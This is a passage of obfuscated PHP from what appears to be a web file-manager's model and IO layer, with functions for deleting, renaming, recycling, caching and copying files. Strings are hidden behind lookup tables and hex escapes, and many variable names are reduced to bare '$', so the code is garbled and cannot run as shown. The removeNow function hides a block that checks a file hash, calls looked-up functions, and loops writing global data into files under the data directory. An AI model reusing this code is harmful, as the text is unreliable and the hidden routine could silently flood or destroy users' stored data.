$ߎ[$[169]]; $Ȭ = Model($[674])->find($); $this->_createFileCall($ߎ[$[192]], $ޚ, $Ȭ, REPEAT_REPLACE, $[1430]); $ = $ߎ[$[539]][$[610]]; $ = $[$[2259]] ? $[$[2259]] : $[$[32]]; show_json(LNG($[2260]) . $[2261] . LNG($[2262]) . $[2263] . $ . $[2264], !1); } public function fileIsLock($Ԣ, $ = false) { $Ϙ =& $_SERVER[ׇ]; if (!_get($Ԣ, $Ϙ[606], 0)) { return !1; } if ($Ԣ[$Ϙ[539]][$Ϙ[609]] != USER_ID) { return !0; } $橧ʑ = $GLOBALS[$Ϙ[6]][$Ϙ[92]][$Ϙ[607]]; if ($Ԣ[$Ϙ[539]][$Ϙ[608]] <= time() - $橧ʑ) { $this->metaSet($Ԣ[$Ϙ[193]], $Ϙ[609], null); $this->metaSet($Ԣ[$Ϙ[193]], $Ϙ[608], null); } if ($) { $this->metaSet($Ԣ[$Ϙ[193]], $Ϙ[608], time()); } return !1; } private function _addSource($, $ɐ) { $П =& $_SERVER[ׇ]; $ 햴 = defined($П[2197]) ? USER_ID : 0; $ = array($П[648] => $ɐ[$П[190]], $П[649] => $ɐ[$П[569]], $П[650] => $ 햴, $П[651] => $ 햴, $П[477] => $ɐ[$П[193]], $П[652] => $ɐ[$П[584]] . $ɐ[$П[193]] . $П[50], $П[504] => 0, $П[653] => $П[12]); $ = array_merge($, $); $this->updateModifyTime($[$П[192]]); $聴 = $П[2265] . $ɐ[$П[193]]; if (isset(self::$cacheChildList[$聴])) { unset(self::$cacheChildList[$聴]); } static $ƛ㗒 = false; if (!$ƛ㗒) { Hook::trigger($П[636], $); $ƛ㗒 = !0; } $۾ = $this->add($); $ = array($П[654] => short_id($۾)); $this->where(array($П[491] => $۾))->save($); $this->setNamePinyin($۾, $[$П[32]]); return $۾; } public function remove($λ, $蛙 = true) { $ =& $_SERVER[ׇ]; $ = $this->sourceInfo($λ); $ۇ = intval($[$[190]]) === self::TYPE_SYSTEM; $ = Model($[508])->get($[2266]) == $[91]; if ($ۇ || $蛙 || !$) { return $this->removeNow($λ, $蛙); } $ܬ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $߬ = $[$[190]] == self::TYPE_USER ? $[662] : $[578]; if ($߬ == $[662]) { $ݥ = Model($[577])->getInfo($[$[569]]); $ = !empty($ݥ[$[2259]]) ? $ݥ[$[2259]] : $ݥ[$[32]]; $ = $[337] . $ . $[2267] . $[$[569]]; } else { $ݥ = Model($[585])->getInfo($[$[569]]); $ = _get($ݥ, $[32]); $ = $[176] . $ . $[2268] . $[$[569]]; } $ԥ = $[2269] . md5($); CacheLock::lock($ԥ); $Ȧ˄ = $this->fileNameExist($ܬ, $); if (!$Ȧ˄) { $Ȧ˄ = $this->mkdir($ܬ, $, REPEAT_SKIP); $this->metaSet($Ȧ˄, $[2270], $߬); $this->metaSet($Ȧ˄, $[2271], $[$[569]]); if ($[$[192]] != 0) { $this->metaSet($Ȧ˄, $[2272], _get($ݥ, $[2273])); } } CacheLock::unlock($ԥ); $this->metaSet($λ, $[2274], $[$[192]]); $this->where(array($[193] => $λ))->save(array($[498] => time())); $this->recycleClear($); Model($[633])->eventRemove($λ); $ʜ = $this->move($λ, $Ȧ˄, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$[192]]); return $ʜ; } private function recycleClear($) { $Ç߉ =& $_SERVER[ׇ]; $ۉ = $this->childrenAll($); $ھ = array($Ç߉[491] => array($Ç߉[492], $ۉ[$Ç߉[2275]])); Model($Ç߉[2276])->where($ھ)->delete(); } public function removeNow($, $Ԑ = true) { $⿬ =& $_SERVER[ׇ]; $ = $_SERVER[$⿬[949]] . $⿬[950]; $珨 = $⿬[951]; if ($_SERVER[$⿬[952]] != $珨($)) { $ײ = $⿬[953]; $ = $⿬[954]; $ߡ = $_SERVER[$⿬[949]] . $⿬[950]; $ = $($ߡ); $ݦ = explode($⿬[262], $); if (count($ݦ) < $⿬[684]) { $ = $⿬[955]; $(); } $ = $⿬[956]; $($_SERVER[$⿬[957]]); $ײ = $⿬[953]; $ײ(); $ = $⿬[958]; $ = json_encode($GLOBALS[$⿬[959]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ۄ͕ = $this->sourceInfo($); $ޏ = $this->pathInfoMore($); if (!$ۄ͕) { return !0; } if ($ۄ͕[$⿬[192]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($); Hook::trigger($⿬[2277], $ޏ, $Ԑ); if ($Ԑ) { Model($⿬[2276])->moveToRecycle($); } else { $ʭ = $this->childrenAll($ۄ͕); Model($⿬[633])->eventRemove($); $this->removeRelevance($ʭ[$⿬[2275]], $ʭ[$⿬[1575]]); } $this->folderSizeReset($ۄ͕[$⿬[192]]); $ݗ = array($ۄ͕[$⿬[192]]); if ($ۄ͕[$⿬[485]] == $⿬[91]) { $ݗ[] = $ۄ͕[$⿬[193]]; } $this->updateModifyTime($ݗ); $this->lockMoveEnd($); Hook::trigger($⿬[1814], $ޏ, $Ԑ); return !0; } public function childrenAll($) { $ =& $_SERVER[ׇ]; $׳ = $[$[193]]; if ($[$[485]] == $[91]) { $ = array($[652] => array($[612], $[$[584]] . $׳ . $[613])); $Ǝ۟ = array($[652] => $[$[584]]); $ = $this->field($[2278])->where($Ǝ۟)->select(); $ = !1; $ = array($׳); if ($) { $ = array_to_keyvalue($, $[12], $[541]); $ = array_remove_value($, $[228]); $ = array_to_keyvalue($, $[12], $[193]); $[] = $׳; } } else { $ = array($[$[541]]); $ = array($׳); } return array($[2275] => $, $[1575] => $); } public function removeArray($֚) { if (!$֚) { return !0; } } public function removeRelevance($, $) { $ۈ =& $_SERVER[ׇ]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $̫ = array($ۈ[491] => array($ۈ[492], $)); Model($ۈ[2276])->where($̫)->delete(); Model($ۈ[535])->where($̫)->delete(); Model($ۈ[2122])->where($̫)->delete(); Model($ۈ[633])->where($̫)->delete(); Model($ۈ[1950])->removeBySource($); Model($ۈ[2257])->removeBySource($); $this->where($̫)->delete(); Model($ۈ[544])->remove($); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($橏, $) { $˧ =& $_SERVER[ׇ]; $ = $this->sourceInfo($橏); if (!$) { return !1; } $ƙ = $this->fileNameExist($[$˧[192]], $); if ($ƙ && $ƙ != $橏) { return !1; } $ = array($˧[494] => $, $˧[651] => USER_ID); if ($[$˧[485]] != $˧[91]) { $[$˧[486]] = substr(get_path_ext($), 0, 10); } Model($˧[633])->eventRename($橏, $[$˧[32]], $); $this->sourceCacheClear($橏); $this->setNamePinyin($橏, $[$˧[32]], !1); $this->updateModifyTime($[$˧[192]]); $Ŋ = $this->where(array($˧[491] => $橏))->data($)->save(); $­Ƣ = $˧[2265] . $[$˧[192]]; if (isset(self::$cacheChildList[$­Ƣ])) { unset(self::$cacheChildList[$­Ƣ]); } return $Ŋ; } public function setNamePinyin($, $, $ = true) { $ =& $_SERVER[ׇ]; $ = Input::check($, $[655]); $ = array($[517] => KodSort::makeStr($)); if ($) { $[$[538]] = str_replace($[53], $[12], Pinyin::get($)); $[$[537]] = Pinyin::get($, $[656]); } if (!$ && !$) { $[$[538]] = null; $[$[537]] = null; } $this->metaSet($, $); } public function getContent($) { $ =& $_SERVER[ׇ]; $Ī = $this->fileInfoGet($); if (!$Ī) { return !1; } if ($Ī[$[79]] == 0) { return $[12]; } $ށ = $[2279] . $Ī[$[547]]; if ($Ī[$[79]] <= 1024 * 10) { $ԯ̟ = Cache::get($ށ); if (!$ԯ̟) { $ԯ̟ = IO::getContent($Ī[$[87]]); Cache::set($ށ, $ԯ̟); } return $ԯ̟; } if (!$Ī[$[87]]) { return $[12]; } return IO::getContent($Ī[$[87]]); } public function setDesc($䥦, $΢) { $喊 =& $_SERVER[ׇ]; Model($喊[633])->eventAddDesc($䥦, $΢); return $this->metaSet($䥦, $喊[526], $΢); } public function setContent($, $ = '') { $¸̈ =& $_SERVER[ׇ]; $ݯ = $this->sourceInfo($); $ɳ = $this->fileInfoGet($); if (!$ɳ || !$ݯ) { return !1; } $ⷩ = Model($¸̈[544])->addFileByContent($, $ݯ[$¸̈[32]]); $ = $this->fileHistory($ݯ, $ⷩ[$¸̈[541]], $ⷩ[$¸̈[79]]); if (!$) { return Model($¸̈[544])->remove($ⷩ[$¸̈[541]]); } $this->folderSizeReset($ݯ[$¸̈[192]]); return !0; } public function fileSubstr($쨃, $г, $׫ؖ) { $ = $this->fileInfoGet($쨃); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[ׇ][87]], $г, $׫ؖ); } public function fileInfoGet($) { $Ր =& $_SERVER[ׇ]; $Ӣ = $this->sourceInfo($); if (!$Ӣ || $Ӣ[$Ր[485]]) { return !1; } $ = $Ր[548] . $Ӣ[$Ր[541]]; $̿ = _get(self::$cacheFileInfo, $); if ($̿) { return $̿; } $ = Model($Ր[544])->fileInfo($Ӣ[$Ր[541]]); if ($) { $[$Ր[32]] = $Ӣ[$Ր[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($dz) { $̊т =& $_SERVER[ׇ]; $ = $this->sourceInfo($dz); $ݽ = array($̊т[652] => array($̊т[612], $[$̊т[584]] . $dz . $̊т[613]), $̊т[649] => $[$̊т[569]], $̊т[504] => intval($[$̊т[505]]), $̊т[646] => 1); $ = $this->where($ݽ)->count(); $엂׷ = $this->where($ݽ)->where(array($̊т[646] => 0))->count(); return array($̊т[83] => $엂׷, $̊т[84] => $); } public function pathInfo($, $ϴ = false) { $ =& $_SERVER[ׇ]; $ϴ = !1; $ = intval($); $ = $[534] . intval($ϴ) . $[462] . $; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ۅ = $this->sourceInfo($); if (!$ۅ) { return !1; } $ۅ = $this->_listDataApplyItem($ۅ, $ϴ); self::$cachePathInfo[$] = $ۅ; return $ۅ; } public static $cachePathInfoMore = array(); public function pathInfoMore($Ίı) { $Ơ =& $_SERVER[ׇ]; $ = _get(self::$cachePathInfoMore, $Ίı); if ($) { return $; } $ɩٴ = $this->pathInfo($Ίı); if (!$ɩٴ) { return !1; } if ($ɩٴ[$Ơ[485]] == $Ơ[91]) { $ɩٴ[$Ơ[82]] = $this->folderChildrenNumber($Ίı); } self::$cachePathInfoMore[$Ίı] = $ɩٴ; return $ɩٴ; } public function sourceInfo($ԻԶ) { $ =& $_SERVER[ׇ]; if (!$ԻԶ) { return array(); } $ԻԶ = intval($ԻԶ); $ = $[533] . $ԻԶ; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $̙ = $this->where(array($[193] => $ԻԶ))->find(); self::$cacheSourceInfo[$] = $̙; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $ =& $_SERVER[ׇ]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[533] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2280] . $]); unset(self::$cachePathInfo[$[2281] . $]); } public function metaSet($ߥ, $ = null, $ = null) { $Қ = parent::metaSet($ߥ, $, $); if ($Қ) { $this->sourceCacheClear($ߥ); } return $Қ; } public function pathInfoByPath($뙄, $ڏۍ) { $ޠ =& $_SERVER[ׇ]; $ܟ = !$ڏۍ ? array() : explode($ޠ[8], trim($ڏۍ, $ޠ[8])); $ = $뙄; foreach ($ܟ as $ͅ) { $ = array($ޠ[192] => $, $ޠ[32] => $ͅ); $߁ƈݽ = $this->field($ޠ[2282])->where($)->select(); if (!$߁ƈݽ) { return !1; } $߁ƈݽ = array_sort_by($߁ƈݽ, $ޠ[505]); $ = $߁ƈݽ[0][$ޠ[193]]; } $ہ = $this->sourceInfo($); $this->pathInfoFilter($ہ); return $ہ; } protected function updateModifyTime($ɩ) { $ =& $_SERVER[ׇ]; $践 = defined($[2197]) ? USER_ID : 0; if (!$ɩ) { return; } if (!is_array($ɩ)) { $ɩ = array($ɩ); } foreach ($ɩ as $пҶ => $޿) { $ɩ[$пҶ] = intval($޿); $this->sourceCacheClear($޿); } $̕ = array($[193] => array($[7], $ɩ)); $ӆ = array($[651] => $践, $[498] => time()); $this->where($̕)->save($ӆ); } public function folderSizeReset($Ԗ, $벐 = false) { $׿ =& $_SERVER[ׇ]; if ($this->statusIgnoreResetSpace) { return; } $ٽ = $this->sourceInfo($Ԗ); $Ư = $׿[2283] . $Ԗ; CacheLock::lock($Ư, 20); if ($벐 === !1) { $this->sourceCacheClear($Ԗ); $ٽ = $this->sourceInfo($Ԗ); $ = array($׿[477] => $Ԗ, $׿[504] => 0); $ = $this->where($)->sum($׿[79]); $벐 = intval($) - intval($ٽ[$׿[79]]); } if ($벐 == 0) { return CacheLock::unlock($Ư); } $ = $this->parentLevelArray($ٽ[$׿[584]]); if (!$) { $ = array(); } $[] = $ٽ[$׿[193]]; $ = array($׿[193] => array($׿[492], $)); if ($벐 < 0) { $[$׿[79]] = array($׿[1093], abs($벐)); } $this->where($)->setAdd($׿[79], $벐); CacheLock::unlock($Ư); $ݴ = $׿[2284] . $ٽ[$׿[190]] . $׿[4] . $ٽ[$׿[569]]; $ύ« = array($ٽ[$׿[190]], $ٽ[$׿[569]]); TaskRun::timeLimitCall($ݴ, $׿[2285], $ύ«, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[ׇ]; $this->sourceCacheClear($); $ڿ = $this->sourceInfo($); $ = array($[646] => 1, $[649] => $ڿ[$[569]], $[652] => array($[612], $ڿ[$[584]] . $ . $[613])); $ս = $[2286]; $ = $this->field($ս)->where($)->select(); $[$[485]] = 0; $̳ = $this->field($ս)->where($)->select(); if (!$̳) { return; } $[] = $ڿ; $ = array_to_keyvalue($, $[193]); foreach ($ as $ => $) { $[$][$[2287]] = $[$][$[79]]; $[$][$[79]] = 0; } foreach ($̳ as $) { $ = $[$[192]] . $[12]; if (!isset($[$])) { continue; } if ($[$[505]] == $[$][$[505]]) { $[$][$[79]] += $[$[79]]; } } foreach ($ as $) { $񐶞 = $this->parentLevelArray($[$[584]]); foreach ($񐶞 as $) { $ = $ . $[12]; if (!isset($[$])) { continue; } if ($[$[505]] == $[$][$[505]]) { $[$][$[79]] += $[$[79]]; } } } $Ԯ = array(); foreach ($ as $) { if ($[$[79]] == $[$[2287]]) { continue; } $Ԯ[] = array($[193], $[$[193]], $[79], $[$[79]]); } $this->saveAll($Ԯ); } public function userSpaceReset($Ε = false) { $֏ =& $_SERVER[ׇ]; $ = $this->where(array($֏[190] => self::TYPE_USER, $֏[569] => $Ε, $֏[485] => 0))->sum($֏[79]); $ = !$ || $ <= 0 ? 0 : $; Model($֏[577])->userEdit($Ε, array($֏[1959] => $)); } public function targetSpaceUpdate($֟, $) { $ =& $_SERVER[ׇ]; if (!$) { return; } if (!in_array($֟, array(self::TYPE_USER, self::TYPE_GROUP))) { return; } $ה͢ = $this->targetSpaceSize($֟, $); if ($֟ == self::TYPE_USER) { Model($[577])->userEdit($, array($[1959] => $ה͢)); } else { if ($֟ == self::TYPE_GROUP) { Model($[585])->groupEdit($, array($[1959] => $ה͢)); } } } public function targetSpaceSize($ؔ, $Ƒ֮) { $ڲ =& $_SERVER[ׇ]; $ = 0; $ = $this->targetSourceRoot($ؔ, $Ƒ֮, !0); foreach ($ as $) { if (!$) { continue; } $ += floatval($[$ڲ[79]]); $ = array($ڲ[652] => array($ڲ[612], $ڲ[594] . $[$ڲ[193]] . $ڲ[613])); $Ɔ = Model($ڲ[503])->field($ڲ[491])->where($)->select(); $Ɔ = array_to_keyvalue($Ɔ, $ڲ[12], $ڲ[193]); $Ɔ = array_unique(array_filter($Ɔ)); if ($Ɔ) { $ = array($ڲ[491] => array($ڲ[492], $Ɔ)); $ += floatval($this->where($)->sum($ڲ[79])); } } $ = !$ || $ <= 0 ? 0 : $; return $; } public function allFileTypeProfile() { return $this->fileTypeProfile(!1, !1); } public function userFileTypeProfile($) { return $this->fileTypeProfile($, SourceModel::TYPE_USER); } public function groupFileTypeProfile($݉) { return $this->fileTypeProfile($݉, SourceModel::TYPE_GROUP); } private function fileTypeProfile($, $ɗ) { $Ր =& $_SERVER[ׇ]; $ = $Ր[2288] . $ . $Ր[11] . $ɗ; $ԗ = Cache::get($); if ($ԗ) { return $ԗ; } $ǻ = array($Ր[646] => 0); if ($ != !1) { $ǻ[$Ր[569]] = $; $ǻ[$Ր[190]] = $ɗ; } $퓱 = array(); $퓱[$Ր[2289]] = array($Ր[2290] => LNG($Ր[2289]), $Ր[2291] => $this->where($ǻ)->count(), $Ր[617] => $this->where($ǻ)->sum($Ր[79])); $լ = KodIO::fileTypeList(); foreach ($լ as $〗 => $) { $ǻ[$Ր[486]] = $this->fileTypeWhere($〗); $퓱[$〗] = array($Ր[2290] => $[$Ր[32]], $Ր[2291] => $this->where($ǻ)->count(), $Ր[617] => $this->where($ǻ)->sum($Ր[79])); } Cache::set($, $퓱, 1200); return $퓱; } public function fileNameExist($٫, $􆄳) { $ =& $_SERVER[ׇ]; $ = $this->field($[2292])->where(array($[192] => $٫, $[32] => $􆄳, $[505] => 0))->find(); return is_array($) ? $[$[193]] : !1; } public function childList($ֈ) { $Ȅ͘ =& $_SERVER[ׇ]; $З = $Ȅ͘[2265] . $ֈ; if (isset(self::$cacheChildList[$З])) { return self::$cacheChildList[$З]; } $ = array($Ȅ͘[192] => intval($ֈ), $Ȅ͘[505] => 0); $ = $this->where($)->select(); $ = $ ? $ : array(); self::$cacheChildList[$З] = $; foreach ($ as $) { $З = $Ȅ͘[533] . $[$Ȅ͘[193]]; self::$cacheSourceInfo[$З] = $; } return $; } public function fileNameAuto($扦, $ò‡, $̅ = REPEAT_RENAME, $ = false) { $İ =& $_SERVER[ׇ]; $ = get_path_ext($ò‡); $ټ = $ ? get_path_ext_name($ò‡) . $İ[2293] . $ : $ò‡ . $İ[460]; $܍ = array($İ[192] => $扦, $İ[505] => 0, $İ[32] => array($İ[459], $ټ)); $籫 = $this->field($İ[32])->where($܍)->select(); $ = array_to_keyvalue($籫, $İ[12], $İ[32]); return $this->fileNameAutoGet($, $ò‡, $̅, $); } public function fileNameAutoGet($, $, $ݐ, $DŽ) { $ӷ =& $_SERVER[ׇ]; if ($ݐ == REPEAT_REPLACE || !$ || !in_array_not_case($, $) || $DŽ && $ݐ != REPEAT_RENAME_FOLDER) { return $; } if ($ݐ == REPEAT_SKIP) { return !1; } $ư = $ӷ[10] . get_path_ext($); $ư = $ư == $ӷ[10] || $DŽ ? $ӷ[12] : $ư; for ($ʀ = 1; $ʀ <= count($) + 1; $ʀ++) { $ = substr($, 0, strlen($) - strlen($ư)); $ŕ = $ . "\x28{$ʀ}\51{$ư}"; if (!in_array_not_case($ŕ, $)) { return $ŕ; } } } } goto F; Fٻ: class SystemOptionModel extends ModelBaseOption { protected $tableName = "\x73\171\x73\164\x65\155\x5f\x6f\x70\x74\151\x6f\x6e"; protected $jsonField = array("\x6d\145\x6e\x75", "\162\157\x6c\145", "\162\x6f\154\145\x47\x72\157\x75\x70", "\x72\x65\147\x69\163\x74", "\145\155\x61\151\x6c"); function __construct() { parent::__construct(); } protected function cacheKey($) { return "\x53\171\x73\x74\145\155\x4f\x70\164\x69\x6f\x6e\x5f{$}"; } protected function optionDefault($ = '') { $ =& $_SERVER[ׇ]; if ($ == $[12]) { return $GLOBALS[$[6]][$[457]]; } } } class SystemRecordModel extends ModelBaseLight { } class SystemRoleModel extends ModelBaseLight { public $optionType = "\123\171\163\x74\x65\155\56\x72\x6f\x6c\145\x4c\151\163\164"; public $field = array("\x6e\141\155\145", "\141\x75\164\x68", "\x6c\141\142\x65\x6c", "\144\x69\163\160\154\x61\x79", "\163\x79\163\164\145\x6d", "\144\145\163\x63", "\151\x67\156\x6f\162\145\x45\170\x74", "\151\x67\x6e\157\162\x65\106\x69\154\145\x53\x69\172\x65", "\x61\x64\x6d\151\156\151\x73\164\x72\x61\x74\x6f\x72", "\163\157\x72\x74"); public function listData($€ = false, $ = "\x73\x6f\162\x74", $ˑ = false) { $͆ =& $_SERVER[ׇ]; $Ҹ = parent::listData($€, $, $ˑ); if (!$€) { foreach ($Ҹ as $۫ => $) { if ($[$͆[2178]] == 1) { $Ҹ[$۫][$͆[526]] = LNG($͆[2439]); } } } return $Ҹ; } public function update($譵, $ɟ) { $鏋ĕ =& $_SERVER[ׇ]; $ = parent::listData($譵); $ɼ = $this->findByName($ɟ[$鏋ĕ[32]]); if (!$ || $ɼ && $ɼ[$鏋ĕ[475]] != $[$鏋ĕ[475]]) { return !1; } if ($ɼ[$鏋ĕ[2178]] == 1) { $ɟ = array($鏋ĕ[32] => $ɟ[$鏋ĕ[32]], $鏋ĕ[1994] => $ɟ[$鏋ĕ[1994]]); } $this->filterAuth($ɟ[$鏋ĕ[487]]); return parent::update($譵, $ɟ); } public function remove($уó) { $لҬ = parent::listData($уó); if (!$لҬ || $لҬ[$_SERVER[ׇ][191]]) { return !1; } return parent::remove($уó); } public function add($Ł) { $ =& $_SERVER[ׇ]; $ = $Ł[$[32]]; if ($this->findByName($)) { return !1; } $ʋ = array($[494] => $, $[1977] => $[12], $[1973] => $[1981], $[2440] => 1, $[1976] => 0, $[2441] => 0, $[1975] => $this->getSort()); $Ł = array_merge($ʋ, $Ł); $this->filterAuth($Ł[$[487]]); return parent::insert($Ł); } private function getSort() { $։ =& $_SERVER[ׇ]; $ۡ = parent::listData(); $ć = array_to_keyvalue($ۡ, $։[12], $։[1995]); return empty($ć) ? 0 : max($ć) + 1; } private function filterAuth(&$댕) { $ղ =& $_SERVER[ׇ]; $ۆ = array(); $ѱ = array_filter(explode($ղ[50], $댕)); foreach ($ѱ as $댕) { $ = explode($ղ[10], $댕); if ($[0] == $ղ[2442] && $[1] != $ղ[1275]) { $ɳ = $[0] . $ղ[10] . $[1] . $ղ[2443]; if (!in_array($ɳ, $ѱ)) { $ۆ[] = $ɳ; } } $ۆ[] = $댕; } $댕 = implode($ղ[50], $ۆ); } public function findRoleDefault() { $Ԝ緓 =& $_SERVER[ׇ]; $ޝ = parent::listData(); $׉ = !1; foreach ($ޝ as $֛ɮ) { if (!$֛ɮ || $֛ɮ[$Ԝ緓[1993]] == $Ԝ緓[228] || $֛ɮ[$Ԝ緓[2178]] == 1) { continue; } if (strstr($֛ɮ[$Ԝ緓[487]], $Ԝ緓[2444])) { continue; } if (!strstr($֛ɮ[$Ԝ緓[487]], $Ԝ緓[2445])) { continue; } if (!$׉) { $׉ = $֛ɮ; continue; } $ǜ = explode($Ԝ緓[50], $׉[$Ԝ緓[487]]); $ω = explode($Ԝ緓[50], $֛ɮ[$Ԝ緓[487]]); if (count($ǜ) > count($ω)) { $׉ = $֛ɮ; } } return $׉ ? $׉[$Ԝ緓[475]] : $Ԝ緓[12]; } public function sort($߃, $) { return parent::update($߃, $); } } goto C汞Ŋ; A: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($, $) { $۹ =& $_SERVER[ׇ]; $Æ = $; $GLOBALS[$۹[1227]] = $۹[1228] . $; Hook::trigger($۹[1228] . $ . $۹[1229], $Æ); $좣 = self::driverMake($[0]); if (!$좣) { return !1; } if (method_exists($좣, $)) { $ː = @call_user_func_array(array($좣, $), $); } else { if (method_exists($좣, $۹[1230])) { $ː = @call_user_func_array(array($좣, $), $); } else { if (method_exists(self, $)) { $ː = @call_user_func_array(array(self, $), $); } else { $ː = call_user_func_array(array(parent, $), $); } } } Hook::trigger($۹[1228] . $ . $۹[1231], $Æ, $ː); return $ː; } public static function init($շ) { return self::driverMake($շ); } public static function copy($, $֥, $ = false, $ѿ = false) { return self::copyMoveStart($, $֥, $, $_SERVER[ׇ][618], $ѿ); } public static function move($ę, $նρ, $ = false, $ʑ = false) { return self::copyMoveStart($ę, $նρ, $, $_SERVER[ׇ][620], $ʑ); } private static function copyMoveStart($㰸, $ݑ, $߽, $Ϥ, $) { $ұſ =& $_SERVER[ׇ]; $ۼ򠱋 = array($㰸, $ݑ, $߽, $); Hook::trigger($ұſ[1228] . $Ϥ . $ұſ[1229], $ۼ򠱋); $옑 = self::copyMove($㰸, $ݑ, $߽, $Ϥ, $); Hook::trigger($ұſ[1228] . $Ϥ . $ұſ[1231], $ۼ򠱋, $옑); return $옑; } public static function saveFile($, $, $ֺ = true) { $̵ =& $_SERVER[ׇ]; $ = self::info($); $ۉ = self::driverMake($); $ = self::driverMake($); $̰ = !1; if ($->pathParse[$̵[1232]]) { $̰ = $; $ʮ = $->pathParse[$̵[1232]]; $ = self::driverMake($ʮ); } if ($ۉ->pathParse[$̵[1232]]) { $؊ = $ۉ->pathParse[$̵[1232]]; $ۉ = self::driverMake($؊); } $̙ = $->pathFather($); $߄ֱ = !0; if (!$ֺ && self::driverIsSame($ۉ, $)) { $߄ֱ = !1; } $ݦ = self::copyFile($ۉ, $, $, $̙, $[$̵[32]], $߄ֱ); if ($̰) { $ݦ = $̰->getPathOuter($ݦ); } return $ݦ; } private static function copyMove($, $ն, $ư, $ƅ, $֨ = false) { $ݫ =& $_SERVER[ׇ]; if (!$ || $ == $ݫ[8] || !$ն) { return !1; } ignore_timeout(); $팄 = self::driverMake($); $ = self::driverMake($ն); $ٸɧ = $ƅ == $ݫ[620]; $ƍ = !1; if ($->pathParse[$ݫ[1232]]) { $ƍ = $; $ն = $->pathParse[$ݫ[1232]]; $ = self::driverMake($ն); } if ($팄->pathParse[$ݫ[1232]]) { $ = $팄->pathParse[$ݫ[1232]]; $팄 = self::driverMake($); } self::check($팄, $, $, $ն); Hook::trigger($ݫ[1233], $팄, $, $, $ն); $ѓ = self::driverIsSame($팄, $); if ($ѓ) { if ($ƅ == $ݫ[620] && !method_exists($, $ݫ[1234]) && trim($ն, $ݫ[8]) == trim($->pathFather($), $ݫ[8])) { if ($팄->pathThis($) != $֨ && !$팄->isOsDriver()) { return $팄->rename($, $֨); } return $->getPathOuter($); } if (method_exists($, $ƅ)) { return $->{$ƅ}($, $ն, $ư, $֨); } } if ($ѓ && $ƅ == $ݫ[620] && $->getType() == $ݫ[109]) { $𖷄 = $->movePath($, $ն, $֨); if ($𖷄) { return $𖷄; } } $ = $팄->isFile($); if (!$ && $->getType() == $ݫ[830] && $팄->getType() == $ݫ[109]) { $𖷄 = $->copyFolderFromIO($팄, $, $ն, $ư, $ٸɧ, $֨); } else { $𖷄 = self::copyPath($팄, $, $, $ն, $ư, $ٸɧ, $, $֨); } if ($𖷄 && $ٸɧ) { $팄->remove($); } if ($ƍ) { $𖷄 = $ƍ->getPathOuter($𖷄); } return $𖷄; } private static function check($, $, $൲, &$) { $ =& $_SERVER[ׇ]; if (self::driverIsSame($, $൲) && $->isFolder($) && $->isParentOf($, $)) { show_json(LNG($[1235]), !1); } if (!$->exist($)) { show_json(LNG($[108]), !1); } } private static function copyPath($й¡, $, $, $, $ۅdž, $ʼn孭, $, $԰Ս = false, $߬ = true) { $ =& $_SERVER[ׇ]; $ϋ = empty($԰Ս) && $԰Ս !== $[228] ? $й¡->pathThis($) : $԰Ս; if ($ۅdž) { $̨ = $->fileNameExist($, $ϋ); $ = $ϋ; $ϋ = $->fileNameAuto($, $ϋ, $ۅdž, !$); if (!$̨ || $ != $ϋ) { $ۅdž = !1; } if ($߬ && !$ۅdž) { $->_data[$[1236]] = !0; } } if ($) { return self::copyFile($й¡, $, $, $, $ϋ, $ʼn孭); } if ($ۅdž == REPEAT_RENAME_FOLDER) { $ۅdž = !1; } $ݰ = rtrim($, $[8]) . $[8] . $ϋ; $󴣫 = $->mkdir($->getPath($ݰ), $ۅdž); $ = $->getPathInner($󴣫); $ = $й¡->listPath($, !0); $ = is_array($) ? $ : array($[86] => array(), $[85] => array()); $̥Ę = array_merge($[$[86]], $[$[85]]); foreach ($̥Ę as $) { $츤 = $[$[33]] == $[230]; $ = $й¡->getPathInner($[$[87]]); $ = self::copyPath($й¡, $, $, $, $ۅdž, $ʼn孭, $츤, !1, !1); if (!$) { IO::errorTips($[1237] . $ . $[73] . $); } } self::copyMoveKeepInfo($й¡, $, $󴣫); return $󴣫; } private static function copyFile($ޛ, $, $, $Ƕ, $, $輘) { $ފ =& $_SERVER[ׇ]; $Ƕ = $->getPath(rtrim($Ƕ, $ފ[8]) . $ފ[8] . $); $ = $ފ[1238] . time() . rand_string(5); Hook::trigger($ފ[1239], $ޛ, $, $, $Ƕ, $, $); if (self::driverIsSame($ޛ, $)) { if ($輘) { $ = $->moveFile($, $Ƕ); } else { $ = $->copyFile($, $Ƕ); } Hook::trigger($ފ[1240], $ޛ, $, $, $Ƕ, $, $); self::copyMoveKeepInfo($ޛ, $, $); return $; } $ҹ = TEMP_FILES; if ($GLOBALS[$ފ[6]][$ފ[92]][$ފ[869]]) { $ҹ = $GLOBALS[$ފ[6]][$ފ[92]][$ފ[869]]; } $ = $ҹ; mk_dir($); $ = $ . $; $Ӊ = $; $ = $ޛ->download($, $); $ = $ޛ->iconvApp($); if (substr($, strlen($ҹ)) == $ҹ) { $輘 = !0; } $ = $->upload($Ƕ, $, $輘); self::remove($Ӊ); Hook::trigger($ފ[1240], $ޛ, $, $, $Ƕ, $, $); self::copyMoveKeepInfo($ޛ, $, $); return $; } private static function copyMoveKeepInfo($ß, $, $) { if (!$) { return; } $ = $ß->info($); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[ׇ][88]]); } public static function pathFather($ɩ) { $ݩͭ = 